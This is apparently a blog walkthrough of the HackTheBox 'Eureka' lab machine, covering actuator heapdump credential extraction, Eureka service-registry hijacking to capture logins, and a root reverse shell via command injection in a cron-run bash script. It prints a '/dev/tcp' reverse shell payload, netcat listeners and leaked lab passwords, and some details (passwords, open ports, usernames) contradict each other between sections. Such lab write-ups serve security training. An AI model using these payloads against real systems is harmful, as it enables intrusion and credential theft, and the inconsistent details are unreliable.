Beginner’s Guide to Conquering Eureka on HackTheBox

Key Highlights

• Initiate your hack with thorough reconnaissance, identifying open ports and a web server hosting a Spring Boot application.
• Discover exposed actuator endpoints, leading to the download of a critical heapdump file.
• Utilize JDumpSpider to parse the heapdump and extract multiple sets of credentials for initial access.
• Gain an initial foothold via SSH using the first set of credentials found in the heapdump.
• Exploit the Netflix Eureka service by registering a malicious instance to intercept authentication credentials for another user.
• Achieve root by exploiting a command injection vulnerability in a bash script running with high privileges.

Introduction

Welcome to a detailed walkthrough of the Eureka machine on HackTheBox. This guide is designed to help you navigate this hard-rated Linux box, from initial reconnaissance to final root access. Tackling Eureka is an excellent way to sharpen your cybersecurity skills, particularly in web application analysis and privilege escalation. This hack will test your ability to identify misconfigurations, analyze memory dumps, and exploit service-level vulnerabilities in a microservices environment. Let’s begin this challenging yet rewarding journey.

Understanding the Eureka Machine on HackTheBox

The Eureka machine presents a realistic scenario involving a misconfigured Spring Boot application. This app runs on a Linux server and simulates a med tech or e-commerce environment, making it a valuable practice target for any red team member.

Your primary obstacle is understanding the architecture, which includes the Netflix Eureka service discovery mechanism. The challenge lies in piecing together information from different services to create a complete attack path. Let’s explore the specific challenges and vulnerabilities you’ll encounter.

Overview of Eureka’s Challenge and Difficulty

Rated as a hard machine, Eureka is a significant challenge that requires patience and a methodical approach. It is not intended for absolute beginners but serves as excellent practice for those preparing for advanced certifications like the OSCP, CRTP, CRTE, or BSCP. The difficulty comes from its multi-stage attack path, which demands more than just running automated scanners.

You need to connect clues from different sources, starting with web enumeration and ending with a clever privilege escalation trick. Unlike some boxes that rely on a single, obvious vulnerability, Eureka tests your ability to understand how different components in a microservice architecture interact and how they can be subverted.

For any red team enthusiast, completing this box is a testament to your analytical skills. The satisfaction of connecting the dots from a memory dump to full system control is immense. It closely mimics real-world engagements where misconfigurations in complex systems create critical security gaps.

Common Vulnerabilities and Attack Vectors

The core of the Eureka machine revolves around information disclosure vulnerabilities. The primary entry point is a misconfigured Spring Boot Actuator, which publicly exposes sensitive management endpoints. This is a common but critical oversight in web application deployment.

The most significant vulnerability you will exploit is the exposed /actuator/heapdump endpoint. A heap dump is a snapshot of the application’s memory, which can contain a treasure trove of sensitive data if not properly secured. In this case, it’s the key to finding your initial credentials. The main attack vectors include:

• Information Leakage: Exposed Spring Boot Actuator endpoints reveal internal configurations, dependencies, and a memory dump.
• Credential Theft: Plaintext credentials for multiple services are extracted from the heap dump file.
• Service Impersonation: Exploiting the Eureka service registry to hijack authentication requests and capture another user’s credentials.

Ultimately, these vulnerabilities allow you to move from having no access to gaining a user shell on the Linux system and eventually escalating to root.

What You Need to Get Started

Before you dive into Eureka, it’s important to have a solid foundation of certain skills and a good set of tools. You’ll be interacting with a Linux server, manipulating DNS entries on your local machine, and using bash to navigate the system and craft exploits.

Your success depends on your ability to perform manual enumeration and understand the output of your tools. You’ll need to analyze configuration files and understand how services communicate using their IP addresses. Let’s look at the specific skills and tools that will help you conquer this box.

Essential Skills for Beginners

While Eureka is a hard box, building the right skills can make it approachable. Strong enumeration is non-negotiable. You must be comfortable with identifying open ports, discovering web directories, and meticulously analyzing the results. This skill is foundational for certifications like the OSCP.

Beyond basic scanning, you should have a conceptual understanding of modern web frameworks and architectures. Specifically, familiarity with Java Spring Boot and microservice concepts like service discovery will be highly beneficial. Key skills to possess include:

• Web Enumeration: Proficiency with tools like nmap and dirsearch to map out the attack surface.
• Linux Command Line: Comfort with navigating the filesystem, examining file permissions, and using basic commands like curl and ssh.
• Analytical Thinking: The ability to connect disparate pieces of information, such as credentials from a heap dump and a vulnerable script, is crucial.

This box is less about exploiting a known CVE and more about abusing misconfigurations, a skill emphasized in certifications like CRTP, CRTE, and BSCP.

Recommended Tools and Resources

Having the right tools is essential for an efficient walkthrough. For Eureka, you won’t need anything overly complex, but a few key utilities will do the heavy lifting. The most critical tool is JDumpSpider, which is specifically designed to parse Java heapdump files for sensitive information like passwords and API keys.

You will also rely heavily on standard penetration testing tools for reconnaissance and interaction. The bash shell will be your primary interface for crafting commands, while ssh will be used for remote access and port forwarding. Many community writeups are available online, often in PDF format, which can provide additional perspectives if you get stuck. Think of this box as a complex RPG quest where each tool helps you unlock the next stage.

Here is a summary of the recommended tools:

Tool	Purpose
nmap	Port scanning and service enumeration to identify open ports.
dirsearch	Web content discovery to find hidden directories like /actuator.
curl	Interacting with web services, downloading files, and sending POST data.
JDumpSpider	Analyzing the Java heapdump to extract plaintext credentials.
ssh	Gaining remote access and performing local port forwarding.
netcat	Setting up a listener to capture intercepted credentials.

ALSO READ: Mastering Reaper: Beginner’s Guide from HackTheBox

Initial foothold

🚀 Initial Reconnaissance: The First Steps

Every successful penetration test begins with thorough reconnaissance. Our first step is to perform a comprehensive port scan to identify open ports and running services on the target machine. For this, we’ll use the ever-reliable Nmap.

Nmap Scan

We’ll start with a basic Nmap scan to get a quick overview of the target. The command we’ll use is:

nmap -sCV -T4 <ip> -oA eureka_scan

This command performs a service version detection (-sV), runs default scripts (-sC), uses a faster timing template (-T4), and saves the output in all formats with the prefix eureka_scan.

The scan results reveal two open ports:

• Port 22/tcp: Running OpenSSH 8.2p1 on Ubuntu. This is a standard SSH port, which we might be able to use later if we find some credentials.
• Port 80/tcp: Running Nginx 1.18.0 on Ubuntu. This indicates a web server is running, which will be our primary attack vector.

The Nmap scan also reveals that the HTTP service on port 80 redirects to http://furni.htb/. This means we need to add this domain to our /etc/hosts file to access the web application.

Updating the /etc/hosts File

Let’s add the newly discovered domain to our /etc/hosts file. This will allow us to resolve the domain name to the target’s IP address.

echo "10.129.242.192 eureka.htb furni.htb" | sudo tee -a /etc/hosts

Now that we have our initial information, let’s move on to enumerating the web application.

🌐 Web Enumeration: Uncovering Hidden Gems

With the furni.htb domain added to our hosts file, we can now access the web application in our browser. The website appears to be a modern interior design studio. While the website itself doesn’t seem to have any obvious vulnerabilities on the surface, we need to dig deeper.

Directory Brute-Forcing with dirsearch

To find hidden directories and files, we’ll use a tool called dirsearch. This tool will help us uncover potential entry points and sensitive information.

dirsearch -u http://furni.htb/ -e php,html,txt -t 50

This command tells dirsearch to scan the target URL, look for files with the extensions php, html, and txt, and use 50 threads for a faster scan.

The dirsearch results are quite interesting. We find a number of endpoints under the /actuator directory. This is a strong indication that the web application is a Spring Boot application. Spring Boot Actuator endpoints are used for monitoring and managing a Spring Boot application, but if they are not properly secured, they can leak a wealth of sensitive information.

Some of the interesting endpoints we discovered include:

• /actuator/env: Displays environment properties.
• /actuator/beans: Shows a list of all Spring beans in the application.
• /actuator/heapdump: Provides a heap dump of the application’s memory.
• /actuator/health: Shows the application’s health information.
• /actuator/info: Displays arbitrary application info.
• /actuator/mappings: Shows a list of all @RequestMapping paths.
• /actuator/metrics: Shows metrics for the current application.
• /actuator/threaddump: Performs a thread dump.

The most promising of these is /actuator/heapdump, as it could contain sensitive information like passwords and API keys in plain text.

🕵️‍♂️ Information Leakage: Sifting Through the Heap Dump

Now that we’ve found the /actuator/heapdump endpoint, let’s download the heap dump and see what we can find. We can do this using wget or curl.

wget http://furni.htb/actuator/heapdump

The heap dump file can be quite large, so it might take a few moments to download. Once it’s downloaded, we need a way to parse it for sensitive information. We can use a simple bash script to search for common keywords like “password”, “secret”, “token”, and “key”.

Parsing the Heap Dump

Here’s a simple bash script that can help us find sensitive information in the heap dump:

#!/bin/bash

if [ $# -lt 1 ]; then
    echo "Usage: $0 <heapdump-file>"
    exit 1
fi

HEAPDUMP="$1"
OUTPUT="sensitive_findings.txt"

strings "$HEAPDUMP" | grep -Ei 'password[ =:]|passwd|secret|token|key' > "$OUTPUT"

echo "[*] Search completed! Found $(wc -l < "$OUTPUT") potential sensitive strings."
echo "[*] Results saved in: $OUTPUT"

Let’s run this script on our downloaded heap dump file.

chmod +x find_sensitive.sh
./find_sensitive.sh heapdump

After running the script, we can examine the sensitive_findings.txt file. Lo and behold, we find a password!

[PASSWORD FOUND] {password=0sc@r190_S01!dP@sswd, user=oscar190}

This is a huge breakthrough! We now have a username and password. Let’s try to use these credentials to SSH into the machine.

💻 Initial Access: Gaining a Foothold

With the credentials we found in the heap dump, let’s try to SSH into the machine as the user oscar190.

ssh oscar190@furni.htb

When prompted for the password, we’ll enter 0sc@r190_S01!dP@sswd.

Success! We are now logged in as oscar190. We have successfully gained our initial foothold on the machine.

Post-Exploitation Enumeration

Now that we’re in, let’s do some basic enumeration to see what we can find. We should check for interesting files in the user’s home directory, look at the running processes, and check for any other web applications running on the machine.

After some digging, we find another interesting file in /var/www/web/Eureka-Server/. This directory contains a Spring Boot application, and within it, we find an application.yml file. This file often contains configuration information, including credentials.

Let’s take a look at the contents of this file:

name: "Eureka Server"
security:
  user:
    name: EurekaSrvr
    password: OscarPWDisTheB3st
server:
  port: 8761
  address: 0.0.0.0

This is another great find! We have another set of credentials: EurekaSrvr:OscarPWDisTheB3st. We also see that this Eureka Server is running on port 8761.

👑 Privilege Escalation: From User to Root

We now have two sets of credentials and have identified another running service. Let’s see how we can leverage this to escalate our privileges.

Hacking Netflix Eureka

The Eureka Server is a service registry for resilient mid-tier load balancing and failover. We can interact with it using its API. We can try to register a fake service with the Eureka Server, and when the server tries to connect to our fake service, it might leak some credentials.

We’ll use curl to send a POST request to the Eureka Server to register our fake service. We’ll need to set up a listener on our machine to capture the incoming connection.

First, let’s set up a listener on our machine using nc:

rlwrap nc -nlvp 8081

Now, let’s send the curl request from the target machine:

curl -X POST http://EurekaSrvr:OscarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '
{
  "instance": {
    "instanceId": "USER-MANAGEMENT-SERVICE",
    "hostName": "YOUR_IP",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "YOUR_IP",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "secureVipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": { "$": 8081, "@enabled": "true" },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}'

After a short while, we should see a connection on our listener. The incoming request will contain the credentials for another user!

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeTOLOve

We need to URL-decode the password to get the correct value. We can use a tool like CyberChef for this. The decoded password is IL!veT0Be&BeTOLOve.

Now we have credentials for the user miranda.wise. Let’s SSH in as this user.

ssh miranda-wise@furni.htb

We are now logged in as miranda.wise. We are getting closer to our final goal!

The Final Step: Root

Now that we are miranda.wise, let’s continue our enumeration. We need to find a way to escalate our privileges to root. Let’s check for any cron jobs or running processes that might be running with root privileges.

We can use the ps command to check for processes running as root:

ps -eo user,pid,comm | grep 'root'

In the output, we see a script called log_analyse.sh running as root. This is very interesting. Let’s find this script and see what it does.

find / -name log_analyse.sh 2>/dev/null

The script is located at /opt/log_analyse.sh. Let’s examine its contents.

The script appears to be analyzing log files. There is a specific function called analyze_http_statuses() that looks vulnerable.

code=$(echo "$line" | grep -oP 'Status: \K.*')

This line of code is extracting the status code from a log file and executing it as a command. This is a classic command injection vulnerability. We can craft a malicious log entry to get a reverse shell as root.

The log file being analyzed is /var/www/web/user-management-service/log/application.log. We have write access to this file.

Let’s create our malicious log entry. First, we’ll remove the existing log file, and then we’ll create a new one with our payload.

rm -f /var/www/web/user-management-service/log/application.log
echo 'HTTP Status: x [$(/bin/bash -i >& /dev/tcp/YOUR_IP/1337 0>&1)]' > /var/www/web/user-management-service/log/application.log

Now, let’s set up another listener on our machine to catch the reverse shell.

rlwrap nc -nlvp 1337

After a few moments, the cron job will run the log_analyse.sh script, which will execute our payload, and we will get a reverse shell as the root user!

root@eureka:~#

And there we have it! We have successfully compromised the Eureka machine and gained root access.

🏆 Conclusion

The Eureka machine was a fantastic challenge that required a combination of skills, from web enumeration and information leakage to privilege escalation. We started by finding a web application with misconfigured Spring Boot Actuator endpoints, which led to a heap dump containing our first set of credentials. From there, we were able to pivot and find another set of credentials for a Eureka Server. By exploiting the Eureka Server, we were able to get the credentials for another user. Finally, we found a vulnerable script running as a cron job that allowed us to get a reverse shell as root.

I hope you enjoyed this detailed write-up and learned something new. Happy hacking!

ALSO READ: Mastering Previous: Beginner’s Guide from HackTheBox

Step-by-Step Guide to Solving Eureka

Now, let’s get into the practical steps of this hack. This section provides a direct, step-by-step walkthrough, from initial reconnaissance to web exploitation. We will start by scanning the target IP and identifying the web services running over HTTP.

You will need to pay close attention to the details discovered during enumeration, as they provide the clues needed to proceed. The initial goal is to find an entry point by analyzing the web application at the target URL. Let’s begin the process.

Step 1: Reconnaissance and Service Enumeration

The first step in any engagement is thorough reconnaissance. Start by scanning the target IP address with nmap. The scan will reveal three open TCP ports: 22 (ssh), 80 (http), and 8761 (another http service). Port 80 redirects to furni.htb, so you must add this hostname to your /etc/hosts file to resolve the DNS name correctly.

Once you can access the website, the next move is to enumerate web directories. Using a tool like dirsearch or nuclei against http://furni.htb/ will uncover several interesting endpoints under the /actuator/ directory. This discovery is pivotal, as these endpoints are part of the Spring Boot Actuator framework.

Your key findings from this phase should be:

• Open ports: 22, 80, 8761.
• Hostname: furni.htb.
• Exposed Actuator endpoints, including the critical /actuator/heapdump.

With this information, you are ready to move from reconnaissance to active exploitation using bash command-line tools like curl.

Step 2: Web Application Analysis and Exploitation

With the discovery of the /actuator/heapdump endpoint, your focus shifts to exploiting this information leak. This endpoint allows you to download a heapdump file, which is a memory snapshot of the Spring Boot application. This file is a goldmine of info. Download it using curl or your web browser.

Once you have the heapdump file, you need a way to parse it. Standard tools like strings can work, but a specialized tool like JDumpSpider is far more effective. Running JDumpSpider on the heapdump will automatically extract sensitive data, including plaintext credentials for various services.

The key discoveries from the heap dump are:

• MySQL credentials: oscar190 with password 0sc@r190_S0l!dP@sswd.
• Eureka service credentials: EurekaSrvr with password 0scarPWDisTheB3st.

These credentials are your ticket into the system. The first set provides the initial shell, while the second is crucial for the privilege escalation phase involving the authentication service. As stated in an article by Backbase Engineering, “If these endpoints are exposed publicly, it’s game over.” Source: Hacking Netflix Eureka | Backbase Engineering

Achieving Initial Foothold and Privilege Escalation

After successfully extracting credentials from the heap dump, the next phase is to gain access and escalate your privileges. The first set of credentials you found will be used to establish an initial foothold on the machine via ssh. This will give you user-level access.

From there, you will use the second set of credentials to interact with an internal service and hijack an authentication process. This clever trick elevates your access further, putting you one step away from full control. Let’s detail how to get user and then root access.

Obtaining User Access on Eureka

Your initial foothold is gained by using the first pair of credentials (oscar190:0sc@r190_S0l!dP@sswd) discovered in the heap dump. These credentials grant you ssh access to the Linux server as the user oscar190. This is a straightforward step but is only possible because of the earlier information leak.

Once logged in, you have a user shell on the system. You can perform internal enumeration and confirm your user ID. However, this user has limited permissions. The next step in the attack chain involves a more complex exploitation of the Eureka service to pivot to a more privileged user. The key takeaways for this step are:

• Use the extracted database credentials to log in via SSH.
• This provides your initial user-level access to the machine.

This foothold is the launchpad for the next stage of the attack, which targets the authentication mechanism of the microservice architecture.

Rooting the Machine and Key Takeaways

To get root, you first need to become the user miranda-wise. Use ssh to forward the internal port 8761 to your local machine (ssh -L 8761:127.0.0.1:8761 oscar190@furni.htb). Now, access the Eureka dashboard at http://localhost:8761 using the second set of credentials from the heapdump (EurekaSrvr:0scarPWDisTheB3st).

Inside the dashboard, you will register a fake service that impersonates the USER-MANAGEMENT-SERVICE. This hijacks login requests, allowing you to capture credentials for miranda.wise in a netcat listener. With these new credentials, ssh back into the box as miranda-wise. The final step to root involves exploiting a vulnerable bash script, log_analyse.sh. You have write permissions to a log file it processes. By injecting a command into this log file, you trigger command execution as root when the script runs, giving you a root shell and access to the final flag, sealing this machine in its tomb.

Common Pitfalls and Tips for Success

Navigating Eureka requires avoiding common mistakes and leveraging key pieces of info effectively. Many users get stuck by focusing on the wrong attack vectors or by not digging deep enough during enumeration. This machine is full of loopholes, but they are subtle.

Being methodical and patient is key to success. Don’t rush through the initial reconnaissance, as the clues you find there are essential for the later stages. These tips will help you avoid frustration and complete one of the most rewarding hacks on the platform.

Mistakes Beginners Should Avoid

One of the most common pitfalls is getting stuck on the web login page. Many will try to brute-force the form or look for SQL injection, but the real vulnerability lies elsewhere. The key is to ignore the frontend authentication and focus on the backend services discovered during enumeration.

Another frequent error is not thoroughly analyzing the heap dump. Simply running strings might not reveal the credentials in a clean format. Using a specialized tool like JDumpSpider is crucial for parsing the data correctly. Misconfiguring the payload for the Eureka service impersonation is also a common trip-up; ensure your IP address and port are correct in the JSON data you send.

Here are two key mistakes to avoid:

• Overlooking Actuator Endpoints: Failing to enumerate web directories properly means you will miss the /actuator path and the heapdump file entirely.
• Improper Privilege Escalation: Not identifying the vulnerable bash script or understanding how to exploit the command injection within it will leave you stuck as a low-privilege user on the Linux machine.

Pro Tips for a Smooth Walkthrough

To ensure a smooth hack, organization is your best friend. Keep detailed notes of every piece of info you find, including credentials, hostnames, and interesting file paths. This will help you connect the dots later on. When you discover the furni.htb hostname, edit your /etc/hosts file immediately to avoid DNS resolution issues.

Be patient with the service impersonation attack. It may take a minute or two for a user to log in and for you to capture the credentials. Don’t assume the exploit failed if you don’t get an immediate callback. When analyzing internal files, pay close attention to configuration files, as they often contain URLs, usernames, and passwords for other services.

Follow these pro tips for success:

• Be Methodical: Enumerate everything. Don’t skip a port or a directory. The one you skip could be the key.
• Understand the Architecture: Take time to understand what Eureka is and how it works. Reading the official Spring Cloud or Netflix documentation can provide valuable context. A CSDN blog offers a great overview of Eureka’s functionality. Source: 什么是Eureka？Eureka能干什么？Eureka怎么用？-CSDN博客
• Check File Permissions: When escalating privileges, always check what files you can write to. This is often the key to exploiting scripts run by other users.

Conclusion

In conclusion, conquering the Eureka machine on HackTheBox is a rewarding challenge that enhances your cybersecurity skills. By understanding the common vulnerabilities and applying the step-by-step techniques outlined in this guide, beginners can build a solid foundation in penetration testing. Remember to stay patient and persistent, as learning comes with practice and experience. Avoid common pitfalls, and don’t hesitate to leverage community resources for additional support and insights. As you embark on this journey, subscribe to our updates to stay informed about more tips, resources, and guides that will help you excel in your ethical hacking endeavors.

Frequently Asked Questions

Is Eureka suitable for absolute beginners on HackTheBox?

No, Eureka is a hard-rated challenge and is not suitable for an absolute beginner. Its complexity requires foundational knowledge of Linux, networking, and web application vulnerabilities. This hack is better for intermediate to advanced users.

What is the main vulnerability exploited in Eureka?

The main vulnerability is an information disclosure flaw in the Spring Boot application. A publicly exposed /actuator/heapdump endpoint allows an attacker to download a memory dump, which contains plaintext credentials for authentication into various services.

Which tools are most effective for Eureka?

The most effective tools are nmap and dirsearch for reconnaissance, JDumpSpider for analyzing the heap dump, curl and ssh for interaction and port forwarding, and netcat for listening for credentials. Standard bash commands are used throughout.

Where can I find community writeups or walkthroughs for Eureka?

You can find community writeups for this hack on platforms like GitHub, personal blogs, and forums dedicated to HackTheBox. Searching for “Eureka HTB walkthrough” or “Eureka HTB PDF” will provide plenty of info from the community.